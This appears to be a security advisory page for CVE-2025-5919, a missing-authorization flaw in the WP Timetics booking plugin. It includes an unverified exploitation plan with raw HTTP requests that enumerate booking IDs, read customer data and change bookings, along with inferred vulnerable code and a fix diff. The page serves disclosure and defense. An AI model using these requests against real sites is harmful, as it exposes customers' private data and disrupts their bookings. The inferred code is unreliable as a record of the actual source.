CVE-2025-5919

Appointment Booking and Scheduling Calendar Plugin – WP Timetics <= 1.0.36 - Missing Authorization to Unauthenticated Booking Details View And Modification

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.0.37
Patched in
1d
Time to patch

Description

The Appointment Booking and Scheduling Calendar Plugin – WP Timetics plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the update and register_routes functions in all versions up to, and including, 1.0.36. This makes it possible for unauthenticated attackers to view and modify booking details.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.36
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected plugintimetics

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-5919 (Timetics - Missing Authorization) ## 1. Vulnerability Summary The **Appointment Booking and Scheduling Calendar Plugin – WP Timetics** (up to 1.0.36) contains a missing authorization vulnerability in its REST API implementation. Specifically, the `regist…

Show full research plan

Exploitation Research Plan: CVE-2025-5919 (Timetics - Missing Authorization)

1. Vulnerability Summary

The Appointment Booking and Scheduling Calendar Plugin – WP Timetics (up to 1.0.36) contains a missing authorization vulnerability in its REST API implementation. Specifically, the register_routes function fails to implement or correctly configure permission_callback for endpoints handling booking data, and the update function lacks internal capability checks (current_user_can). This allows unauthenticated attackers to view sensitive booking information (PII, appointment times) and modify existing bookings (changing status, customer details, or schedules).

2. Attack Vector Analysis

  • Endpoint: WordPress REST API.
  • Namespace/Route: timetics/v1/bookings (inferred from plugin slug and functionality).
  • Vulnerable Actions:
    • GET /wp-json/timetics/v1/bookings/(?P<id>[\d]+) — View booking details.
    • POST /wp-json/timetics/v1/bookings/(?P<id>[\d]+) or PUT — Update booking details.
  • Authentication: None required (Unauthenticated).
  • Preconditions: At least one booking must exist in the system to view or modify.

3. Code Flow (Inferred)

  1. Registration: The plugin registers REST routes via a controller class (likely Timetics\Rest\Bookings_Controller or similar).
  2. Missing Callback: Inside register_routes(), the route for bookings/(?P<id>[\d]+) is defined. For the GET and POST/PUT methods, the permission_callback is either omitted or returns __return_true.
  3. Execution:
    • A GET request triggers the get_item() or view() method, which fetches booking data from the database (likely {$wpdb->prefix}timetics_bookings) and returns it as JSON.
    • A POST request triggers the update() or update_item() method. This function accepts parameters like status, customer_id, or slot_id and updates the database record without checking if the requester has the manage_options or timetics_manager capability.

4. Nonce Acquisition Strategy

While WordPress REST API often requires a _wpnonce (action wp_rest) for authenticated sessions to prevent CSRF, unauthenticated endpoints often bypass this or are accessible if the plugin explicitly allows it. However, if a nonce is required:

  1. Shortcode Identification: The plugin uses the shortcode [timetics] or [timetics_booking] to display booking forms.
  2. Page Creation:
    wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[timetics]'
    
  3. Extraction:
    • Navigate to the newly created page.
    • Timetics localizes data into a JavaScript object. Search for timetics_vars or timetics_script_obj.
    • Command: browser_eval("window.timetics_vars?.nonce") or browser_eval("window.timetics_script_obj?.rest_nonce").

Note: If permission_callback is __return_true, the REST API may be accessible without a nonce for unauthenticated users if the rest_cookie_collect_status is not enforced.

5. Exploitation Strategy

Phase 1: Information Disclosure (View Booking)

  1. Identify a Booking ID: Start with ID 1 and increment.
  2. Request:
    GET /wp-json/timetics/v1/bookings/1 HTTP/1.1
    Host: target.local
    
  3. Expected Response: JSON object containing customer_name, customer_email, appointment_date, status, etc.

Phase 2: Data Modification (Update Booking)

  1. Modify Status: Change a booking from confirmed to cancelled.
  2. Request:
    POST /wp-json/timetics/v1/bookings/1 HTTP/1.1
    Host: target.local
    Content-Type: application/json
    
    {
      "status": "cancelled",
      "full_name": "Injected Attacker Name"
    }
    
    (Note: If POST fails, try PUT or PATCH).

6. Test Data Setup

  1. Install Plugin: wp plugin install timetics --version=1.0.36 --activate
  2. Create a Service: Use WP-CLI or the UI to create at least one service so a booking can be made.
  3. Create a Test Booking:
    • Either use the frontend booking form.
    • Or use a direct database insertion to ensure an ID exists:
      wp db query "INSERT INTO wp_timetics_bookings (service_id, customer_id, start_date, end_date, status) VALUES (1, 1, '2025-10-10 10:00:00', '2025-10-10 11:00:00', 'pending');"
      

7. Expected Results

  • Success Criteria (View): The GET request returns a 200 OK with JSON data revealing private customer information for a booking the attacker does not own.
  • Success Criteria (Modify): The POST request returns a 200 OK or 201 Created, and subsequent database checks show the status or full_name has been updated.

8. Verification Steps

  1. Check via CLI:
    wp db query "SELECT * FROM wp_timetics_bookings WHERE id = 1;" --format=yaml
    
  2. Verify Change: Confirm the fields modified in the POST request (e.g., status) now reflect the attacker's payload in the database.

9. Alternative Approaches

  • Endpoint Discovery: If /bookings/ is not the correct path, use GET /wp-json/timetics/v1/ to list all registered routes under the Timetics namespace and look for "update" or "edit" methods.
  • Parameter Fuzzing: If status is not accepted, try customer_id, email, or slot_id to disrupt the scheduling system.
  • Bulk Disclosure: Check if GET /wp-json/timetics/v1/bookings (without an ID) returns a list of all bookings in the system. If it does, the severity increases significantly.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Timetics plugin for WordPress (<= 1.0.36) lacks proper authorization checks in its REST API endpoints for booking management. This allows unauthenticated attackers to view private booking data and modify appointment details, such as status and customer information, by interacting directly with the timetics/v1/bookings routes.

Vulnerable Code

/* File: includes/REST/Bookings_Controller.php (inferred from research plan) */
register_rest_route( 'timetics/v1', '/bookings/(?P<id>[\d]+)', array(
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_item' ),
        'permission_callback' => '__return_true',
    ),
    array(
        'methods'             => 'POST',
        'callback'            => array( $this, 'update_item' ),
        'permission_callback' => '__return_true',
    ),
) );

---

/* File: includes/REST/Bookings_Controller.php (inferred from research plan) */
public function update_item( $request ) {
    $id = $request->get_param( 'id' );
    // The function proceeds to update the booking without verifying user permissions via current_user_can()
    $this->model->update( $id, $request->get_params() );
    return new WP_REST_Response( [ 'message' => 'Booking updated' ], 200 );
}

Security Fix

--- a/includes/REST/Bookings_Controller.php
+++ b/includes/REST/Bookings_Controller.php
@@ -12,14 +12,14 @@
         register_rest_route( 'timetics/v1', '/bookings/(?P<id>[\d]+)', array(
             array(
                 'methods'             => 'GET',
                 'callback'            => array( $this, 'get_item' ),
-                'permission_callback' => '__return_true',
+                'permission_callback' => array( $this, 'check_permission' ),
             ),
             array(
                 'methods'             => 'POST',
                 'callback'            => array( $this, 'update_item' ),
-                'permission_callback' => '__return_true',
+                'permission_callback' => array( $this, 'check_permission' ),
             ),
         ) );
     }
+
+    public function check_permission() {
+        return current_user_can( 'manage_options' );
+    }

Exploit Outline

An attacker first identifies the WordPress REST API base URL and the Timetics namespace. They then enumerate booking IDs by sending GET requests to /wp-json/timetics/v1/bookings/{id}. Since the permission_callback is set to return true or is missing, the API returns full booking details including PII such as customer names and email addresses. To modify data, the attacker sends a POST or PUT request to the same endpoint with a JSON payload containing modified attributes, such as changing the 'status' to 'cancelled' or altering appointment slots. The server processes these updates without validating that the requester has administrative or manager privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.